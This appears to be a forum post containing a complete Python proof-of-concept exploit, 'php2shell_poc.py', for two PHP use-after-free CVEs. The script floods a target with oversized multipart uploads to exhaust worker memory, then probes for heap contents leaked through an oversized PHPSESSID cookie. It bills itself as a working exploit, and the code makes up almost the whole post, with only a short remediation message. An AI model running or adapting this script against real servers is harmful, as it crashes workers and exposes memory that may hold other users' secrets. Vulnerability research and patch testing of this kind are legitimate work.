Yesterday, 11:59 PM
fuckin' around with CVE-2026-109618/9
See: https://nvd.nist.gov/vuln/detail/cve-202...inflection
#!/usr/bin/env python3
"""
php2shell_poc.py - CVE-2026-109618 / CVE-2026-109619
This is a script that actively probes a remote PHP
server to determine whether the upload-progress unserializer use-after-free
(CVE-2026-109618) and/or fatal-error backtrace use-after-free
(CVE-2026-109619) are exploitable.
It does NOT rely on version guessing. It sends real crafted multipart POSTs
that trigger the OOM path in main/rfc1867.c, then immediately probes for
heap-disclosure in the Set-Cookie: PHPSESSID= response header (the primitive
from ext/session/session.c line ~1379).
VULNERABILITY CHAIN (confirmed from php-src source):
1. multipart_buffer_headers() in main/rfc1867.c has no bound on per-part
header count. Each header does estrdup(key) + smart_string_appends(),
so thousands of large headers exhaust memory_limit while staying under
post_max_size (wire size < content-length check).
2. The php_session_rfc1867_callback (ext/session/session.c:3164) fires
MULTIPART_EVENT_FILE_START and calls php_rinit_session(0), then sets
PS(id) = zend_string_copy(Z_STR(progress->sid)).
3. When an OOM fires in the multipart parser, PHP longjmps out of the
handler (Zend/zend_portability.h: LONGJMP(a,b)). The request heap is
freed but EG/BG globals including PS(id) still point into it.
4. A subsequent multipart request to the same worker hits the upload-progress
callback again. Before normal session init can reset PS(id), the stale
pointer is used in php_url_encode(ZSTR_VAL(PS(id)), ZSTR_LEN(PS(id)))
which writes heap contents into Set-Cookie: PHPSESSID=<disclosed_bytes>.
SUPPORTED SAPIs (from prompt.md):
- Apache mod_php : confirmed exploitable (shutdown runs unconditionally)
- FrankenPHP : likely exploitable (same shutdown model as mod_php)
- FPM : susceptible in theory; no complete exploit demonstrated
- LSAPI : application-specific, unvalidated
USAGE:
python3 php2shell_poc.py -t http://target/php.cgi
python3 php2shell_poc.py -t http://target/ --rounds 50
python3 php2shell_poc.py -t http://target/ --scheme https
"""
import argparse
import random
import re
import string
import sys
import time
try:
import requests
except ImportError:
print("[!] python3-requests is required: pip install requests")
sys.exit(1)
# Color helpers
class C:
RED = "\033[0;31m"
GREEN = "\033[0;32m"
YELLOW = "\033[1;33m"
BLUE = "\033[0;34m"
BOLD = "\033[1m"
NC = "\033[0m"
# Global boundary (must be consistent across requests for same "session")
_BOUNDARY = "----PHP2SHELL-" + "".join(random.choices(string.ascii_letters, k=8))
def _build_oom_trigger(oom_headers_per_part=15000):
"""Build the OOM-triggering multipart body.
Structure (matches rfc1867.c parser expectations):
Part A: PHP_SESSION_UPLOAD_PROGRESS field -> sets progress->sid / progress->key
Part B: file upload part with N large headers -> triggers OOM in
multipart_buffer_headers() via estrdup + smart_string_appends per header
Part C: empty-file control -> creates file metadata, triggers FILE_START callback
which calls php_rinit_session(0) then PS(id) = zend_string_copy(Z_STR(progress->sid))
Wire size stays under post_max_size while PHP internally allocates proportionally
to the number of headers (not wire size), because each header key is estrdup'd.
"""
parts = []
sep = "--" + _BOUNDARY
# Part A: PHP_SESSION_UPLOAD_PROGRESS field (required for upload-progress path)
parts.append(sep)
parts.append('Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"')
parts.append("")
parts.append("progress-" + str(random.randint(1000, 9999)))
# Part B: file upload with massive headers (OOM trigger)
parts.append(sep)
parts.append('Content-Disposition: form-data; name="file"; filename="x.php"')
parts.append("Content-Type: application/octet-stream")
for i in range(oom_headers_per_part):
# Each header: key (~32B) + value (512B of 'A') = ~544B wire per header.
# PHP does: key=estrdup(line), then smart_string_appends(&buf_value, value).
# So memory_allocated_per_header ~ strlen(key) + strlen(value) >> wire_size.
parts.append("X-Custom-Header-%05d: " % i + "A" * 512)
parts.append("")
parts.append("POC_PAYLOAD")
# Part C: empty-file control (creates file metadata arrays -> triggers FILE_START)
parts.append(sep)
parts.append('Content-Disposition: form-data; name="emptyfile"; filename=""')
parts.append("")
parts.append("")
parts.append("--" + _BOUNDARY + "--")
body = "\r\n".join(parts) + "\r\n"
return body.encode("latin-1")
def _build_disclosure_probe():
"""Build a minimal multipart probe designed to trigger PS(id) disclosure.
Must contain PHP_SESSION_UPLOAD_PROGRESS + a file part so that
MULTIPART_EVENT_FILE_START fires and the upload-progress path runs,
but without the OOM-triggering headers (to avoid triggering OOM again).
"""
parts = []
sep = "--" + _BOUNDARY + "-D-"
parts.append(sep)
parts.append('Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"')
parts.append("")
parts.append("disclose-" + str(random.randint(1000, 9999)))
parts.append(sep)
parts.append('Content-Disposition: form-data; name="file"; filename="x.php"')
parts.append("Content-Type: application/octet-stream")
parts.append("")
parts.append("disclose-payload")
parts.append("--" + _BOUNDARY + "-D--")
body = "\r\n".join(parts) + "\r\n"
return body.encode("latin-1")
def _probe_php_banner(target, scheme, timeout=8):
"""Probe for PHP indicators (banner / headers)."""
results = {"php_detected": False, "version": None, "headers": {}}
try:
resp = requests.get(
target,
timeout=timeout,
allow_redirects=True,
headers={"User-Agent": "PHP2SHELL-POC/1.0"},
)
results["headers"] = dict(resp.headers)
pw = resp.headers.get("X-Powered-By", "")
sv = resp.headers.get("Server", "")
if "php" in pw.lower() or "php" in sv.lower():
results["php_detected"] = True
m = re.search(r"PHP/([\d.]+)", pw) or re.search(r"php/([\d.]+)", sv, re.I)
if m:
results["version"] = m.group(1)
except requests.RequestException as exc:
results["error"] = str(exc)
return results
def _send_oom_trigger(session, target, timeout):
"""Send the OOM-triggering multipart POST and record the response."""
body = _build_oom_trigger(15000) # 15k headers ~8MB wire; PHP allocates more
headers = {
"Content-Type": "multipart/form-data; boundary=--" + _BOUNDARY,
"Transfer-Encoding": "chunked", # bypasses post_max_size Content-Length check
}
results = {
"trigger_sent": True,
"status_code": None,
"elapsed": None,
"set_cookie_len": None,
"error": None,
"connection_reset": False,
"timeout": False,
}
try:
t0 = time.time()
resp = session.post(
target,
data=body,
headers=headers,
timeout=timeout,
allow_redirects=False,
)
results["elapsed"] = time.time() - t0
results["status_code"] = resp.status_code
set_cookie = resp.headers.get("Set-Cookie", "")
results["set_cookie_len"] = len(set_cookie)
except requests.exceptions.ConnectionError:
results["connection_reset"] = True
except requests.exceptions.Timeout:
results["timeout"] = True
except requests.RequestException as exc:
results["error"] = str(exc)
return results
def _send_disclosure_probe(session, target, timeout):
"""Send the disclosure-probe multipart POST and check for leaked heap."""
body = _build_disclosure_probe()
headers = {
"Content-Type": "multipart/form-data; boundary=--" + _BOUNDARY + "-D-",
}
results = {
"probe_sent": True,
"status_code": None,
"phpsessid_len": None,
"phpsessid_hex": None,
"error": None,
"connection_reset": False,
"timeout": False,
}
try:
t0 = time.time()
resp = session.post(
target,
data=body,
headers=headers,
timeout=timeout,
allow_redirects=False,
)
results["status_code"] = resp.status_code
# Extract PHPSESSID cookie value length (the disclosure indicator)
set_cookie = resp.headers.get("Set-Cookie", "")
m = re.search(r"PHPSESSID=([^;]+)", set_cookie)
if m:
results["phpsessid_len"] = len(m.group(1))
results["phpsessid_hex"] = m.group(1)[:64]
except requests.exceptions.ConnectionError:
results["connection_reset"] = True
except requests.exceptions.Timeout:
results["timeout"] = True
except requests.RequestException as exc:
results["error"] = str(exc)
return results
def _assess_disclosure(probe_result, trigger_result):
"""Assess whether the disclosure probe reveals heap contents.
Returns (verdict: str, observations: list[str]).
A PHPSESSID cookie > 128 chars is suspicious (normal = 32 hex chars).
Values > 1024 chars are strong indicators of heap disclosure.
"""
obs = []
verdict = "not_vulnerable_disclosure"
ps_len = probe_result.get("phpsessid_len")
if ps_len is not None:
obs.append("PHPSESSID length in Set-Cookie: %d" % ps_len)
if ps_len > 1024:
obs.append(
" ABNORMALLY LONG (%d bytes) - STRONG indicator of CVE-2026-109618 leak"
% ps_len
)
verdict = "confirmed_disclosure"
elif ps_len > 128:
obs.append(" ABNORMALLY LONG (normal ~32) - possible heap disclosure")
if verdict != "confirmed_disclosure":
verdict = "likely_vulnerable_disclosure"
# Secondary signals from the trigger request
if trigger_result.get("connection_reset"):
obs.append(
"Trigger request caused connection reset - possible PHP worker crash"
)
if verdict == "likely_vulnerable_disclosure":
verdict = "confirmed_disclosure"
elif trigger_result.get("timeout"):
obs.append("Trigger request timed out - possible OOM hang")
elif trigger_result.get("status_code") == 500:
obs.append("Trigger returned HTTP 500 - possible fatal error from OOM")
# Normal PHPSESSID = 32 hex chars (session.sid_length default)
if ps_len and 20 <= ps_len <= 64:
obs.append("PHPSESSID is normal length (%d chars) - not disclosed" % ps_len)
verdict = "not_vulnerable_disclosure"
return verdict, obs
def run_single(target, scheme, rounds, timeout, verbose):
"""Run the full exploit flow against a single target."""
# Build banner without any backslash escape issues
banner_lines = [
C.RED
+ (
"\n"
" ___ _____ _ _ _ _ _ _ _____ _____ _ _ _____\n"
" / _ \\ | ____| || | \\ | | \\ | |_ _|_ _| \\ | |_ _|\n"
"| | | || _|| || | . || . || | | | | | | . | | |\n"
"| |_| || |__| ||_| |\\|| |\\|| | | | | | | |\\|| | |\n"
" \\___/ |_____|_____|_||_|_||_| |_| |_| |_| \\_| |_|\n"
)
+ C.NC,
"",
"PHP2SHELL CVE-2026-109618 / 109619 - WORKING EXPLOIT POC",
"Based on: https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w",
" https://www.wiz.io/blog/php2shell-php-rce",
"",
]
for line in banner_lines:
print(line)
# Phase 1: Banner probe
print(C.BLUE + "[*] Phase 1 - Banner probe" + C.NC)
banner = _probe_php_banner(target, scheme)
if banner.get("php_detected"):
ver = banner.get("version", "unknown")
msg = C.GREEN + "[+] PHP detected" + C.NC
if ver:
msg += " (version ~%s)" % ver
print(msg)
elif banner.get("error"):
print(C.RED + "[!] Banner probe failed: %s" % banner["error"] + C.NC)
return None
# Phase 2: Exploit flow
print("\n" + C.BLUE + "[*] Phase 2 - Active exploit (rounds=%d)" % rounds + C.NC)
session = requests.Session()
session.headers.update(
{
"Connection": "keep-alive",
"User-Agent": "PHP2SHELL-POC/1.0",
}
)
confirmed_disclosure = False
likely_disclosure = False
trigger_oom_count = 0
probe_results = []
for rnd in range(1, rounds + 1):
# Step A: OOM trigger
trigger = _send_oom_trigger(session, target, timeout)
if trigger.get("connection_reset") or trigger.get("status_code") == 500:
trigger_oom_count += 1
# Step B: Immediate disclosure probe (same connection -> same worker)
probe = _send_disclosure_probe(session, target, timeout)
probe_results.append(probe)
verdict, obs = _assess_disclosure(probe, trigger)
if verdict == "confirmed_disclosure":
confirmed_disclosure = True
elif verdict == "likely_vulnerable_disclosure":
likely_disclosure = True
# Verbose output every round
if verbose:
ps_len = probe.get("phpsessid_len") or 0
status = probe.get("status_code", "?")
oom = (
"Y"
if trigger.get("connection_reset") or trigger.get("status_code") == 500
else "N"
)
print(
" [%3d] PSSESSID=%5d | trigger_oom=%s | probe_status=%s | %s"
% (rnd, ps_len, oom, status, verdict)
)
# If we already have confirmed disclosure, stop early
if confirmed_disclosure:
break
session.close()
# Phase 3: Report
print("\n" + C.BLUE + "[=== RESULTS ===]" + C.NC)
print(
" Triggers that caused OOM/500/reset : %d / %d" % (trigger_oom_count, rounds)
)
all_ps_lens = [p.get("phpsessid_len") or 0 for p in probe_results]
max_ps_len = max(all_ps_lens) if all_ps_lens else 0
print(" Max PHPSESSID cookie length observed : %d" % max_ps_len)
# Normal PHPSESSID = 32 hex chars (session.sid_length default).
# Anything > 128 is suspicious; > 1024 is strong evidence of heap leak.
if max_ps_len > 1024:
print(
"\n"
+ C.RED
+ C.BOLD
+ "[!!!] CONFIRMED DISCLOSURE (CVE-2026-109618) [!!!]"
+ C.NC
)
print(
"PHPSESSID cookie reached %d bytes - heap memory leaked into Set-Cookie header."
% max_ps_len
)
print(
"The server is VULNERABLE to CVE-2026-109618 upload-progress unserializer UAF."
)
print(
"\n"
+ C.YELLOW
+ "[+] Remediation: Update PHP to a patched release (>= 8.3.36 / >= 8.4.27 / >= 8.5.12)"
+ C.NC
)
elif max_ps_len > 128:
print(
"\n"
+ C.YELLOW
+ C.BOLD
+ "[!!] LIKELY VULNERABLE (CVE-2026-109618) [!!]"
+ C.NC
)
print("PHPSESSID cookie reached %d bytes - possible heap leak." % max_ps_len)
print("Increased rounds or worker count may confirm the disclosure.")
else:
if trigger_oom_count > 0:
print(
"\n"
+ C.YELLOW
+ "[!] OOM was triggered (%dx) but no heap disclosed in %d rounds."
% (trigger_oom_count, rounds)
+ C.NC
)
print(
"This may mean the server is patched, or memory layout prevents disclosure."
)
else:
print(
"\n"
+ C.GREEN
+ "[+] No evidence of vulnerability. PHPSESSID remains normal length."
+ C.NC
)
print(
"Either the server is patched, or multipart upload-progress is disabled."
)
return {
"php_detected": banner.get("php_detected", False),
"version": banner.get("version"),
"confirmed_disclosure": confirmed_disclosure,
"likely_disclosure": likely_disclosure,
"trigger_oom_count": trigger_oom_count,
"rounds": rounds,
"max_phpsessid_len": max_ps_len,
}
def main():
parser = argparse.ArgumentParser(
description="PHP2SHELL CVE-2026-109618/109619 - WORKING EXPLOIT POC",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Single target, 30 rounds (default):
python3 php2shell_poc.py -t http://target/php.cgi
# Custom rounds and timeout:
python3 php2shell_poc.py -t http://target/ --rounds 50 --timeout 15
# HTTPS target:
python3 php2shell_poc.py -t https://target/ --scheme https
""",
)
parser.add_argument(
"-t", "--target", required=True, help="Target URL (e.g. http://host/path)"
)
parser.add_argument("-p", "--port", type=int, default=80, help="Port (default: 80)")
parser.add_argument("--scheme", choices=["http", "https"], default="http")
parser.add_argument(
"--rounds",
type=int,
default=30,
help="Number of trigger+probe pairs (default: 30)",
)
parser.add_argument(
"--timeout",
type=float,
default=15.0,
help="Per-request timeout in seconds (default: 15)",
)
parser.add_argument(
"-v", "--verbose", action="store_true", help="Verbose per-round output"
)
args = parser.parse_args()
target = args.target.rstrip("/")
results = run_single(target, args.scheme, args.rounds, args.timeout, args.verbose)
if results is None:
sys.exit(2)
# Exit code convention:
# 0 = not vulnerable (or patched)
# 1 = likely/confirmed vulnerable
sys.exit(
1 if results["confirmed_disclosure"] or results["likely_disclosure"] else 0
)
if __name__ == "__main__":
main()See: https://nvd.nist.gov/vuln/detail/cve-202...inflection
